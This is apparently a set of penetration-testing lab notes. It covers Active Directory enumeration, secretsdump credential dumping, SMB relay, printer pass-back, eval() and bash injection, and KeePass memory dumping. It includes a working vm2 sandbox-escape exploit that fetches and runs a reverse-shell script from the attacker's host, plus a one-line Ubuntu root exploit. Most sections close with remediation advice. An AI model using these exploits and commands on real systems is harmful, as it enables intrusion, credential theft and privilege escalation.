    • sudo bloodhound-python -d lab.local -u vry4n -p IamAdmin123 -ns 192.168.0.100 -c all

    bloodhound-python: This is a tool used for Active Directory (AD) enumeration and analysis. It helps identify attack paths, permissions, and potential security risks within an AD environment.

    -d lab.local: Specifies the Active Directory domain to target, in this case, it’s set to ‘lab.local’.

    -u vry4n: Specifies the username to be used for authentication. In this case, the username is ‘vry4n’.

    -p IamAdmin123: Specifies the password associated with the provided username. Here, the password is set to ‘IamAdmin123’.

    -ns 192.168.0.100: Specifies the target Active Directory server’s IP address. It’s set to ‘192.168.0.100’.

    -c all: Specifies the collection method. In this case, ‘all’ indicates that all available data should be collected. This includes information about domains, users, groups, computers, group memberships, permissions, etc.

    6. In Bloodhound click on “upload data”, selectthe .json files, click open

    7. Once data is loaded it is displayed in Bloodhound, you can start your searches and mapping relationships

    Post enumeration using Plumhound

    1. We need to run this tool on top of Bloodhound & Neo4j which should be running (https://github.com/PlumHound/PlumHound) , to set up this tool

    • git clone https://github.com/PlumHound/PlumHound.git
    • cd PlumHound
    • sudo pip3 install -r requirements.txt

    2. Run the tool to do a test, using neo4j password

    • sudo python3 PumHound.py –easy -p newneo4j

    3. Make sure all the tasks completed

    4. Knowing that the test completed, now you can run a task, read PlumHound documentation to know about tasks, this will create a new folder with a Report.zip file

    • sudo python3 PumHound.py -x tasks/default.tasks -p <neo4j password>

    5. Unzip and start looking at the data

    • cd reports
    • unzip Reports.zip

    Health check with PingCastle

    1. Having remote access to the computer we can run PingCastle executable, Download the tool from (https://www.pingcastle.com/download/)

    2. Using cmd or powershell run the executable

    • .\PingCastle.exe

    3. Select the type of check, in this case I’ll select 1. HealthCheck, then enter the domain

    4. It may take some minutes until it completes, it creates 2 files with data .html & .xml

    5. opening this file we get a lot of information about the domain, and possible misconfigurations.

    [Active Directory] Dumping credentials with impacket-secretsdump

    Impacket SecretsDump is a powerful tool used in penetration testing and ethical hacking for extracting plaintext credentials and other sensitive information from Windows systems. Developed in Python, Impacket is an open-source collection of Python classes for working with network protocols. SecretsDump, a part of the Impacket suite, focuses specifically on extracting credentials and secrets from Windows machines.

    Hive Details Format or credential material
    SAM stores locally cached credentials (referred to as SAM secrets) LM or NT hashes
    SECURITY stores domain cached credentials (referred to as LSA secrets) Plaintext passwords

    LM or NT hashes

    Kerberos keys (DES, AES)

    Domain Cached Credentials (DCC1 and DCC2)

    Security Questions (L$SQSA<SID>)

    SYSTEM contains enough info to decrypt SAM secrets and LSA secrets N/A

    Capabilities:

    • Credential Extraction
    • Kerberos Ticket Extraction
    • NTLM Hash Dumping
    • Local and Remote Operations
    • Pass-the-Ticket (PTT) Attack

    How to use

    1. Display the tool help

    • impacket-secretsdump -h

    2. Remote dumping of SAM & LSA secrets

    • impacket-secretsdump lab.local/vry4n:IamAdmin123@192.168.0.101

    3. dump the NTLM from DC, Active directory users

    • impacket-secretsdump lab.local/vry4n:IamAdmin123@192.168.0.100 -just-dc-ntlm

    4. Remote dumping of SAM & LSA secrets (pass-the-hash)

    • secretsdump.py -hashes ‘LMhash:NThash’ ‘DOMAIN/USER@TARGET’
    • impacket-secretsdump lab.local/administrator@192.168.0.100 -hashes aad3b435b51404eeaad3b435b51404ee:702262e2d64f9c0df2bec8ca45ff2985

    5. Remote dumping of SAM & LSA secrets (pass-the-ticket)

    • secretsdump.py -k ‘DOMAIN/USER@TARGET’

    6. Offline dumping of LSA secrets from exported hives

    • secretsdump.py -security ‘/path/to/security.save’ -system ‘/path/to/system.save’ LOCAL

    7. Offline dumping of SAM secrets from exported hives

    • secretsdump.py -sam ‘/path/to/sam.save’ -system ‘/path/to/system.save’ LOCAL

    8. Offline dumping of SAM & LSA secrets from exported hives

    • secretsdump.py -sam ‘/path/to/sam.save’ -security ‘/path/to/security.save’ -system ‘/path/to/system.save’ LOCAL

    [Active Directory] SMB Relay attack

    SMB is a network protocol used by Windows-based systems to share files, printers, and other resources. In an SMB relay attack, an attacker intercepts and relays authentication messages between a client and a server. The attacker essentially tricks the systems into thinking they are communicating with each other when, in fact, the attacker is mediating the conversation.

    SMB signing verifies the origin and authenticity of SMB packets. Effectively this stops MiTM SMB relay attacks from being successful. If this is enabled and required on a machine, we will not be able to perform a successful SMB relay attack.

    Example of SMB communication

    • NetBIOS session established between the client and the server,
    • Server and client negotiation the SMB protocol dialect,
    • Client logs on to the server with the proper credentials,
    • Client will connect to a shared resource hosted on the server (i.e. wireless printer),
    • Client opens a file on the share, and,
    • Client reads or edits the requested resource. That would be a top-level overview of what happens during a regular SMB exchange.

    Systems that are vulnerable to this attack have SMB signing configured to the following:

    • SMB Signing enabled but not required
    • SMB Signing disabled

    Systems that are not vulnerable to this attack have SMB signing configured to the following:

    • SMB signing enabled and required

    By default, only Domain Controllers have SMB signing set to required. However, Microsoft is now beginning to make this the default settings for all clients systems starting with Windows 11 Pro and Enterprise insider builds: https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-signing-required-by-default-in-windows-insider/ba-p/3831704

    Requirements

    • SMB signing must be disabled or not enforced on the target
    • Must be on the local network
    • Relayed user credentials must be admin on machine for any real value, for example; local admin to the target machine or member of the Domain Administrators group.

    Preparation

    1. SMB & HTTP modules should be OFF in responder tool (/usr/share/responder/Responder.conf)

    • sudo vi /usr/share/responder/Responder.conf

    2. Run responder to verify the modules are turned off

    • sudo responder -I eth0 -w -b -v -F

    Identification

    1. Scan the target for smb2 security mode

    • nmap –script=smb2-security-mode.nse -p445 192.168.0.101 -Pn

    Exploitation

    1. Create a list of target hosts

    • vi targets.txt
    • cat targets.txt

    2. Start responder

    • sudo responder -I eth0 -w -b -v -F

    3. Start impacket-ntlmrelayx

    • impacket-ntlmrelayx -tf targets.txt -smb2support

    4. Wait for a failed attempt from a user (local administrator or domain admin) to connect to SMB share using the wrong server name so DNS fails

    Note: impacket-ntlmrelayx dumps SAM accounts (usernames & hashes)

    Interactive mode (Shell)

    1. Use Impacket-ntlmrelayx interactive mode (-i)

    • impacket-ntlmrelayx -tf targets.txt -smb2support -i

    2. The tool started a new shell on port 11000, so now, you need to connect to it using your attack machine

    • nc 127.0.0.1 11000

    3. Use help command to display the list of commands allowed to use

    • help

    4. Sample of running commands

    • shares
    • use C$
    • ls

    Run commands

    1. You can also run commands as soon as you receive a connection using the flag (-c)

    • impacket-ntlmrelayx -tf targets.txt -smb2support -c “whoami”

    Note: depending on the version of ntlmrelax this may fail

    Recommendations

    Enable SMB Signing on all devices

    • Pro: Completely Stops the attack.
    • Con: can cause performance issues with the file copies.

    Disable NTLM authentication on network

    • Pro: Completely stops the attack.
    • Con: If kerberos stops working, Windows default back to NTLM.

    Accounting tiering:

    • Pro: Limits domain admins to specific tasks(e.g. only log onto servers with need of DA)
    • Con: Enforcing the policy may be difficult.

    Local admin restriction:

    • Pro: Can prevent a lot of lateral movement.
    • Con: Potential increase in the amount of service desk tickets.

    Sources

    https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adversary-in-the-middle/smb-relay

    https://globalt4e.com/ataques-smb-relay/

    https://github.com/m4lal0/smbrelay

    https://heimdalsecurity.com/blog/what-is-an-smb-relay-attack/

    [Active Directory] Printer Passback attack

    I got this article from (https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack)

    What is an MFP and MFP Hacking anyway?

    Multi-Function Peripherals (MFPs) are an underutilized target in the realm of pen testing. When compared against other high-value targets, MFP hacking appears to be the low man on the totem pole. Penetration testers frequently attack other targets like web applications, file servers, and domain controllers. Too often, the thought is: Why waste your time on printers when you can attack things like systems potentially resulting in:

    • Credential Disclosure
    • File System Access
    • Memory Access

    However, as illustrated by a recent and surprisingly interesting printer penetration test engagement, it turns out that a successful MFP breach can result in discovering all of the above findings, plus more. The best part is that MFP security and maintenance is often forgotten, potentially resulting in a quick win for someone looking to gain entry or escalate their privileges in a compromised network.

    MFPs are the clunky pile of plastic typically located in your corporate closet. They’re equipped with network ports, USB drives, and an iPad looking control panel with its own set of specialized applications. These intelligent devices are capable of much more than the standard copy, print, and fax. Don’t forget the occasional paper jam too.

    These industrial ink bleeders are loaded with plenty of functionality, like the ability to integrate with the corporate network to allow for convenient scan/email. This functionality necessitates:

    • Lightweight Directory Access Protocols (LDAP) integration
    • Simple Mail Transfer Protocol (SMTP) integration
    • Network Shares

    What kind of information is at risk with an MFP? How can you, as a penetration tester, successfully hack into an MFP?

    Did You Say LDAP?

    MFP-LDAP integration can be a control mechanism to prevent unauthorized users from printing, copying, scanning, etc. It can also be used for email address lookups when leveraging the scan/copy to email functionality, as well as giving authenticated users access to their home folder located on the network.

    Most MFP vendors (HP, Xerox, Ricoh, Canon, etc.) have their version of an LDAP implementation for their specific MFP, but they are generally the same concept. If you input a few attributes here, an IP address there, add a username/password, then you sit back and watch the “magic” happen.

    Why MFP Hacking Matters

    For the MFP to conduct queries on the LDAP server, the MFP must be configured with the appropriate credentials to access the LDAP server, or set with the ability to pass user credentials to the LDAP server. These credentials should be stored somewhere on the MFP and, if we can capture these credentials, then we may have an entryway into the network, and possibly more.

    Introducing the Pass-Back Attack

    The stored LDAP credentials are usually located on the network settings tab in the online configuration of the MFP and can typically be accessed via the Embedded Web Service (EWS). If you can reach the EWS and modify the LDAP server field by replacing the legitimate LDAP server with your malicious LDAP server, then the next time an LDAP query is conducted from the MFP, it will attempt to authenticate to your LDAP server using the configured credentials or the user-supplied credentials.

    Accessing the EWS

    Most MFPs ship with a set of default administrative credentials to access the EWS. These credentials are usually located in the Administrator Guide of the MFP in question and are a good place to start for initial access:

    VendorUsernamePasswordRicohadminblankHPadminadmin or blankCanonADMINcanonEpsonEPSONWEBadmin

    Another way to potentially access the EWS is through the Printer Exploitation Toolkit (PRET) and Praeda. Both tools are capable of Information Disclosure and Code Execution. If you are looking to utilize the tools for the first time, here are a few resources to help you get started:

    Replace LDAP Attributes

    Once you are authenticated to the EWS, locate the LDAP settings. During our test on an HP Color LaserJet MFP M477fdn, these settings were in the access control portion of the networking tab.

    Next, we removed the existing LDAP Server Address, 192.168.1.100, and replaced it with our IP Address. Next, we saved the settings. Then, we created a Netcat listener on port 389, which was the existing port in the LDAP settings of the MFP.

    Capture Credentials

    The configuration of this MFP requires users to authenticate before using the available resources like the scan-to-email ability. The next time an unsuspecting user inputs their credentials at the control panel, the MFP will send their information to the LDAP server under our control.

    • nc -L -l 389

    If the MFP supports and is configured to store LDAP credentials for email lookup (the model we tested did not), then these credentials can also be passed back to the LDAP server under our control.

    Attacking SMTP and Windows Sign-in

    This attack can also be conducted against other settings on the MFP that support authentication. Like LDAP, the Windows sign-in can be an alternative method to control access to the MFP resources. We substitute the existing domain with our own domain, and the next time a domain user signs in at the control panel, the credentials are sent to our domain controller.

    Conducting attacks on the SMTP configuration can also produce fruitful results. The existing SMTP configuration for this MFP has stored credentials for SMTP authentication that can be passed back to us, after replacing the existing SMTP server with our own SMTP server.

    Big Payout with Low Risk

    MFPs do not get the attention they deserve when it comes to security. They are usually physically accessible, poorly managed, and shipped with default credentials. All of this, coupled with their payout potential, should make them a prime target for your next engagement.

    Exploiting JavaScript EVAL() Code Injection

    The eval function in JavaScript is a powerful but potentially dangerous feature. Its primary purpose is to execute arbitrary JavaScript code represented as a string.

    There are four standard ways to evaluate strings in JavaScript:

    • eval(“code”)
    • new Function(“code”)
    • setTimeout(“code”, timeout)
    • setInterval(“code”, interval)

    Example

    1. This is a calculator application that prints the mathematical results on screen

    2. Since, I had access to the source code I found this piece of code that demonstrated how the eval() function is in use

    // Exporting an object with a method named 'calculate'
    module.exports = {
        calculate(formula) { // Try block to handle potential errors during execution
            try {
    // Using eval to execute a dynamically created function
    // The function is created using a template literal, incorporating the 'formula' parameter
    // The closing parentheses () immediately follows the function body, invoking the function. This pattern is known as an Immediately Invoked Function Expression (IIFE).
                return eval(`(function() { return ${ formula } ;}())`);
            
    // Catch block to handle potential errors, specifically SyntaxError
            } catch (e) {
    // Checking if the caught error is an instance of SyntaxError
                if (e instanceof SyntaxError) {
    // Returning an error message if a SyntaxError occurs
                    return 'Something went wrong!';
                }
            }
        }
    }

    Exploitation

    1. First we need to understand how the application works

    2. We try to make it crash

    3. We can try to use some JavaScript functions and see if they get executed since this script doesn’t have sanitization we don’t need to worry about

    • process.platform
    • process.cwd()

    4. Now we know we can execute commands we can try a more sophisticated command

    • require(‘child_process’).execSync(‘ls -l’).toString()

    require(‘child_process’):

    • This part of the code imports the child_process module in Node.js. The child_process module provides functionality to spawn child processes, allowing you to execute external commands.

    .execSync(‘ls -l’):

    • The execSync function is a synchronous method in the child_process module. It is used to execute shell commands synchronously, meaning the code will block until the command completes. In this case, it runs the ls -l command, which lists the contents of the current directory in long format.

    .toString():

    • The result of execSync is a Buffer object containing the output of the command. The .toString() method is then used to convert the Buffer object into a string. This is necessary if you want to work with the command output as a string in your Node.js code.

    Recommendations

    Avoid eval Completely:

    • The safest approach is to avoid using eval altogether unless absolutely necessary. Most use cases for eval can be replaced with safer alternatives.

    Use JSON.parse or Other Specific Functions:

    • If you need to parse JSON data, use JSON.parse instead of eval. JSON.parse is safer and only evaluates valid JSON data, reducing the risk of code injection.

    Function Constructors:

    • If dynamic code execution is required, consider using the Function constructor. This is generally safer than eval because it creates a new function scope.

    Validate and Sanitize User Inputs:

    • If you must use dynamically generated code, thoroughly validate and sanitize user inputs before incorporating them into the code. Ensure that the input adheres to expected patterns and does not contain malicious content.

    Code Review and Static Analysis:

    • Regularly review code for potential security vulnerabilities, including the use of eval. Utilize static analysis tools to identify insecure patterns in your codebase.

    [Privilege Escalation] Unquoted Expression Injection Bash

    In Bash scripting, when you are working with variables, it’s important to understand how the shell treats quoted and unquoted variables, especially when it comes to comparisons.

    Word splitting is a process where the shell breaks up a string into separate words based on specific delimiters. The default word delimiters are whitespace characters (spaces and tabs), but you can customize them using the IFS (Internal Field Separator) variable.

    Word splitting is a feature designed to tokenize input into separate entities, and it is generally useful for normal shell operations. However, when it comes to unquoted variables, word splitting can introduce vulnerabilities, especially when dealing with spaces or other special characters in the variable’s value.

    An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards. Yes, “explode” as in splitting a string into an array. Specifically, variable expansions, like $var, and also command substitutions, like $(cmd), undergo word splitting, whereby the string is split on any of the characters in the special $IFS variable, which is whitespace by default. Furthermore, any wildcard characters (*?) in the resulting words are used to expand those words to match files on your filesystem (indirect pathname expansion). This is mostly invisible, because most of the time, the result is a 1-element array, which is indistinguishable from the original string value.

    Security Vulnerability:

    • When dealing with untrusted input or variables that may contain arbitrary data, relying on unquoted variables and word splitting can introduce security vulnerabilities.
    • An attacker might manipulate input to inject unexpected values, potentially leading to unintended consequences or security breaches

    Variable expansion:

    • Good: “$my_var”
    • Bad: $my_var

    Command substitution:

    • Good: “$(cmd)”
    • Bad: $(cmd)

    Should I use backticks?

    Command substitutions also come in this form:

    • Correct: “`cmd`”
    • Bad: `cmd`

    Quoted Variables:

    When you enclose a variable in double quotes (” “), it preserves the entire value of the variable, including spaces and special characters.

    var="hello world"
    echo "$var"

    Unquoted Variables:

    When you don’t quote a variable, the shell performs word splitting and filename expansion (globbing) on its value.

    Word splitting breaks the variable’s value into words (typically separated by spaces).

    var="hello world"
    
    echo $var

    Output:

    Token: hello
    Token: world

    Example

    1. In this example I will demonstrate how bash considers “$str1” & $str different

    str1="hello world"
    str2="hello world"
    
    if [ "$str1" == $str2 ]; then
        echo "Strings are equal."
    else
        echo "Strings are not equal."
    fi

    2. In this script we compare 2 strings that are identical but within the if conditional statement we compare “$str1” and str2

    3. On the other if I use quotes in the 2 variables “$str1” and “$str2”

    Exceptions

    There are exceptions where quoting is not necessary, but because it never hurts to quote, and the general rule is to be scared when you see an unquoted variable, pursuing the non-obvious exceptions is, for the sake of your readers, questionable. It looks wrong, and the wrong practice is common enough to raise suspicion: Enough scripts are being written with broken handling of filenames that whitespace in filenames is often avoided…

    The exceptions only matter in discussions of style – feel welcome to ignore them. For the sake of style neutrality, Shellharden does honor a few exceptions:

    • variables of invariably numeric content: $?, $$, $!, $# and array length ${#array[@]}
    • assignments: a=$b
    • the magical case command: case $var in … esac
    • the magical context between double-brackets ([[ and ]]) – this is a language of its own.

    Scenario

    1, In this scenario we have a bash script named (script.sh) that reads a text file that includes a password, and asks user for input, if the word matches the one in the file it will print confirmed!, otherwise it will print incorrect.

    #!/bin/bash
    # Read the content of the file "secret.txt" and store it in the variable "value1" 
    value1=$(/usr/bin/cat secret.txt)
    
    # Print a prompt for the user to enter a word 
    echo "Enter a word!"
    read input1
    
    # Compare the content of "secret.txt" with the user input 
    if [[ $value1 == $input1 ]]; then
        echo "Confirmed!"
    else
        echo "Incorrect"
    fi

    2. I built a python script (attack.py) to guess the password in the file. This script runs the bash script, tests characters follow by a wildcard (*), If it matches it prints the letter, then continues with the next letter until we receive Confirmed

    #!/usr/share/python
    
    import string
    import subprocess
    # Generate a list of all ASCII letters and digits
    all1 = list(string.ascii_letters + string.digits)
    # Initialize variables
    password = ""
    found = False
    
    # Print the list of characters being tested
    print(all1)
    
    # Continue the loop until the password is found
    while not found:
    # Iterate through each character in the list
        for char in all1:
    # Construct a command to execute a script with a guessed password
            command = f"echo '{password}{char}*' | bash script.sh"
    # Run the command and capture the output
            output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
    # Check if the output contains the word "Confirmed"
            if "Confirmed" in output:
    # If confirmed, update the password and print it
                password += char
                print(password)
                break
        else:
    # If the loop completes without finding the correct password, set found to True
            found = True

    3. Run the script and see the output how and the password deciphered

    • python attack.py

    Note: The password is P4ssWorDVry4n

    Recommendations

    • Ensure that the file containing sensitive information, like passwords, has restrictive permissions.
    • Whenever possible, avoid storing passwords in plaintext. Consider using secure methods like password hashing.
    • Instead of reading from a file, you might consider storing sensitive information in environment variables, which can be set at runtime and are less prone to being accidentally logged.
    • If you need to store sensitive information in a file, consider encrypting the file.

    Sources

    https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md?source=post_page—–933488bfbfff——————————–

    https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells

    https://www.appsloveworld.com/bash/100/28/unquoted-expression-injection-bash

    https://copyprogramming.com/howto/why-do-options-in-a-quoted-variable-fail-but-work-when-unquoted#google_vignette

    (CVE-2023-30547)[Exploitation] Node.js vm2 module code execution RCE

    Node.js vm2 module could allow a remote attacker to execute arbitrary code on the system, caused by a sandbox escape flaw in the handleException() function. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code in host context.

    vm2 is a sandbox that can run untrusted code with whitelisted Node’s built-in modules. There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside `handleException()` which can be used to escape the sandbox and run arbitrary code in host context.

    Analysis

    As host exceptions may leak host objects into the sandbox, code is preprocessed with transformer() in order to instrument the code with handleException() sanitizer function calls.

    • For CatchClause with ObjectPattern the code calls handleException() and then re-throws the sanitized exception inside a nested try-catch. (lib/transformer.js:121)
    • handleException() function is an alias of thisEnsureThis(), which in turn calls thisReflectGetPrototypeOf(other) (again, an alias of Reflect.getPrototypeOf()) to access the object’s prototype (lib/bridge.js:835).

    However, this may be proxied through a getPrototypeOf() proxy handler which can by itself throw an unsanitized host exception, resulting in the outer catch statement receiving it.

    An attacker may use any method to raise a non-proxied host exception (test/vm.js:1082 for example) inside a getPrototypeOf() proxy handler, register it to an object and throw it to leak host exception, and finally use it to access host Function, escaping the sandbox.

    Affected Products

    Node.js vm2 3.9.16

    Exploitation

    1. Having an application that can execute nodejs code in a “secure” VM using (vm2) module, we can execute the following code, replace execSync(‘<command>); with the OS command you want

    //The vm2 library provides a secure JavaScript VM (virtual machine) for Node.js.
    // The VM class allows you to create an isolated environment to run JavaScript code.
    const {VM} = require("vm2");
    
    //This line creates a new instance of the VM class.
    //This instance will be used to run the JavaScript code in a sandboxed environment.
    const vm = new VM();
    
    // This code is a self-contained JavaScript snippet that is wrapped as a string.
    // It creates an object (err), defines a Proxy (proxiedErr),
    // and then uses a combination of throw and catch to execute a payload that invokes the execSync method from the child_process module.
    // The payload seems to exploit the ability to manipulate the stack trace (Error().stack) and utilizes Proxy to trigger a sequence of code execution.
    const code = `
    err = {};
    const handler = {
        getPrototypeOf(target) {
            (function stack() {
                new Error().stack;
                stack();
            })();
        }
    };
    
    const proxiedErr = new Proxy(err, handler);
    try {
        throw proxiedErr;
    } catch ({constructor: c}) {
        c.constructor('return process')().mainModule.require('child_process').execSync('<command>'); // replace <command> with your OS command
    }`
    
    // This line executes the JavaScript code stored in the code variable within the virtual machine created earlier.
    // The result of vm.run(code) is logged to the console.
    console.log(vm.run(code));

    2. For testing purposes I will test ping command

    • execSync(‘ping -c 2 10.10.14.166’);

    3. First I will capture traffic on my network interface

    • ifconfig
    • sudo tcpdump -i tun0 icmp

    4. Now execute the code in the web console that runs nodejs (3.9.16) vm2

    5. looking at the CLI console in our machine, we see the traffic reaching us

    6. Knowing the command executed, and we receive traffic we can try a reverse shell, first, start a listener in your local machine

    • nc -lvp 4444

    7. now execute a bash reverse shell command I created a bash file in my local computer, and transferred it via web service

    • cat shell1.sh
    • python3 -m http.server 8888

    8. Then from the website I transferred the shell1.sh into the web server

    • execSync(‘wget http://10.10.14.166:8888/shell1.sh’);
    • execSync(‘ls -la’);

    9. Then I ran a command to execute the script

    • execSync(‘whereis bash’);
    • execSync(‘/usr/bin/bash shell1.sh’);

    Remedy

    This vulnerability was patched in the release of version `3.9.17` of `vm2`. There are no known workarounds for this vulnerability. Users are advised to upgrade.

    Sources

    https://exchange.xforce.ibmcloud.com/vulnerabilities/253006

    https://github.com/patriksimek/vm2/security/advisories/GHSA-ch3r-j5x3-6q2m

    https://www.ibm.com/support/pages/node/6998381

    https://github.com/advisories/GHSA-ch3r-j5x3-6q2m

    https://www.cve.org/CVERecord?id=CVE-2023-30547

    https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

    [Cyptography] Convert a PuTTY SSH Private key (ppk) to (pem) file

    To convert a PuTTY SSH private key to the PEM format, you can use the PuTTYgen tool that comes with PuTTY. PuTTYgen can convert keys between different formats, including PuTTY’s own format (.ppk) and the PEM format.

    PPK (PuTTY Private Key):

    • Associated Tool: PuTTY
    • Format: Proprietary binary format
    • Usage: PuTTY, a popular SSH and Telnet client for Windows, uses the PPK format for storing private keys.
    • Extension: .ppk
    • Conversion: PPK keys can be converted to other formats, such as PEM, using tools like PuTTYgen (part of the PuTTY suite).

    PEM (Privacy Enhanced Mail):

    • Associated Tool: OpenSSL, OpenSSH, and many other SSH clients on Unix-like systems
    • Format: ASCII text (Base64-encoded)
    • Usage: The PEM format is widely used for storing private and public keys. It is a standard format that is not tied to a specific tool or platform.
    • Extension: .pem, .key, .pvt, .priv

    Identification

    1. Identify the file format

    • file PuTTY-User-Key-File.ppk

    Exploitation

    1. Convert the file from .ppk to pem

    • puttygen PuTTY-User-Key-File.ppk -O private-openssh -o pem_file.pem
    • file pemfile.pem

    Note: you can use this private key to authenticate to different services in this case SSH

    2. Assign proper permissions to the key

    • chmod 600 pem_file.pem
    • ls -l pem_file.pem

    3. Use it as SSH key

    • ssh root@10.10.11.227 -i pem_file.pem

    Note: Incase that it is password protected you can use ssh2john to brute force it

    (CVE-2023-32784)[Credential Dumping] KeePass information disclosure (Password Recovery)

    KeePass could allow a local attacker to obtain sensitive information, caused by a flaw when performing memory dump. By sending a specially crafted request, an attacker could exploit this vulnerability to obtain master password from a memory dump, and use this information to launch further attacks against the affected system.

    It doesn’t matter where the memory comes from – can be the process dump, swap file (pagefile.sys), hibernation file (hiberfil.sys), various crash dumps or RAM dump of the entire system. It doesn’t matter whether or not the workspace is locked. It is also possible to dump the password from RAM after KeePass is no longer running, although the chance of that working goes down with the time it’s been since then.

    Requirements

    • KeePass 2.23 or earlier
    • Dump file (memory dump)
    • a .kdbx file (database)

    Affected Products

    KeePass KeePass 2.53

    Lab

    1. Create a DUMP file by opening task manager and right clicking on KeePass process, Create dumpfile

    Exploitation

    1. Having a Dump file from KeePass 2.53 version we can run the script https://github.com/vdohney/keepass-password-dumper?tab=readme-ov-file, Download this tool as ZIP into a Windows machine

    2. Extract the file from the Zip file

    3. Run the program and indicate the dump file location, or copy the file within the same directory of the script

    • dotnet run G:\Users\Desktop\KeePass.DMP

    4. After the script completes you will have a close or complete password. In this case the password was helloworld, it got elloworld, as you can see the descending lines from 2 to 10.

    5. Then you can test importing and opening the file in KeyPass

    • File -> Import
    • Select the format KeePass KDBX (2.x)
    • Select the file from the folder (it has to be a .kdbx format
    • Click OK
    • Enter the Password

    Note, you can also search on the internet for some common words, pasting the result into a web browser, it may correct you. Try upper and lower case combinations.

    Remedy

    Upgrade to the latest version of KeePass (2.54 or later), available from the SourceForge KeePass Project Web site.

    if you’ve been using KeePass for a long time, your master password (and potentially other passwords) could be in your pagefile/swapfile, hibernation file and crash dump(s). Depending on your paranoia level, you can consider these steps to resolve the issue:

    • Change your master password
    • Delete crash dumps (depends on your OS, on Windows at least C:\Windows\memory.dmp, but maybe there are others)
    • Delete hibernation file
    • Delete pagefile/swapfile (can be quite annoying, don’t forget to enable it back again)
    • Overwrite deleted data on the HDD to prevent carving (e.g. Cipher with /w on Windows)
    • Restart your computer

    Sources

    https://exchange.xforce.ibmcloud.com/vulnerabilities/255380

    https://github.com/vdohney/keepass-password-dumper?tab=readme-ov-file

    https://nvd.nist.gov/vuln/detail/CVE-2023-32784

    https://sysdig.com/blog/keepass-cve-2023-32784-detection/

    https://www.bleepingcomputer.com/news/security/keepass-exploit-helps-retrieve-cleartext-master-password-fix-coming-soon/

    https://www.youtube.com/watch?v=EXgd4AV-VPQ

    https://sourceforge.net/p/keepass/discussion/329220/thread/f3438e6283/

    (CVE-2023-32629 & CVE-2023-2640)[Privilege Escalation] GameOver(lay) Ubuntu Privilege Escalation

    Ubuntu could allow a local authenticated attacker to gain elevated privileges on the system, caused by skipping permission checking for trusted.overlayfs.* xattrs”. By sending a specially crafted request, an attacker could exploit this vulnerability to escalate privileges.

    CVE-2023-2640

    https://www.cvedetails.com/cve/CVE-2023-2640/

    • On Ubuntu kernels carrying both c914c0e27eb0 and “UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs”, an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.

    CVE-2023-32629

    https://www.cvedetails.com/cve/CVE-2023-32629/

    • Local privilege escalation vulnerability in Ubuntu Kernels overlayfs ovl_copy_up_meta_inode_data skip permission checks when calling ovl_do_setxattr on Ubuntu kernels.

    Vulnerable kernels

    6.2.0 Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish)

    5.19.0 Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)

    5.4.0 Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver)

    Identification

    1. Verify the OS version

    • lsb_release -a

    2. Verify the kernel version

    • uname -r
    • uname -a
    • cat /proc/version

    Exploitation

    1. Knowing this is a vulnerable version of Ubuntu (6.2.0), we can proceed to run the following command to become root

    • unshare -rm sh -c “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;” && u/python3 -c ‘import os;import pty;os.setuid(0);pty.spawn(“/bin/bash”)’

    2. After running this command you should become root

    Breakdown

    • unshare -rm sh -c: This command creates a new namespace (-m), and then runs a shell (sh) in this new namespace. The -r option makes the process run in a separate user namespace.
    • “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;”: This is the command that is executed in the new namespace. It does the following:
      • mkdir l u w m: Creates four directories – l, u, w, and m.
      • cp /u*/b*/p*3 l/: Copies files matching the pattern /u*/b*/p*3 to the directory l/.
      • setcap cap_setuid+eip l/python3: Sets the cap_setuid capability and eip flag on the python3 binary in the l/ directory.
      • mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m: Mounts an overlay filesystem using the directories l, u, and w. The overlay filesystem allows combining multiple directories into one.
      • touch m/*: Creates empty files in the m/ directory.
      • &&: This is a logical AND operator, which means the next command will be executed only if the previous one succeeds.
      • u/python3 -c ‘import os; import pty; os.setuid(0); pty.spawn(“/bin/bash”)’: This command is executed if the previous part is successful. It uses the python3 interpreter located in the directory u/ to execute a Python script. The Python script imports the os and pty modules, sets the user ID to 0 (root), and spawns a new interactive bash shell using pty.spawn(“/bin/bash”).

    Remedy

    The problem can be corrected by updating your system to the following package versions:

    Sources

    https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629

    https://www.cvedetails.com/cve/CVE-2023-2640/

    https://www.cvedetails.com/cve/CVE-2023-32629/

    https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640—POC-Escalation

    https://exchange.xforce.ibmcloud.com/vulnerabilities/261608

    https://exchange.xforce.ibmcloud.com/vulnerabilities/261608

    [Privilege Escalation] Java Jar file enumeration/Code Review

    .jar file enumeration from processes in Linux involves identifying and extracting information about Java Archive (JAR) files that are currently running within a system’s processes. This process can be useful for various purposes, such as troubleshooting, security analysis, or understanding the dependencies of a running Java application.

    Enumeration

    1. Use tools like ps or pgrep to identify running Java processes. You can filter processes based on the Java executable or any related parameters.

    • ps aux | grep -i java

    2. Once you identify the Java processes, extract more detailed information using tools like jcmd or jps (Java Process Status). For instance:

    • jcmd <PID> help
    • jcmd <PID> VM.system_properties

    Note: files associated with the Java processes. This information can be extracted from the output of the previously used tools.

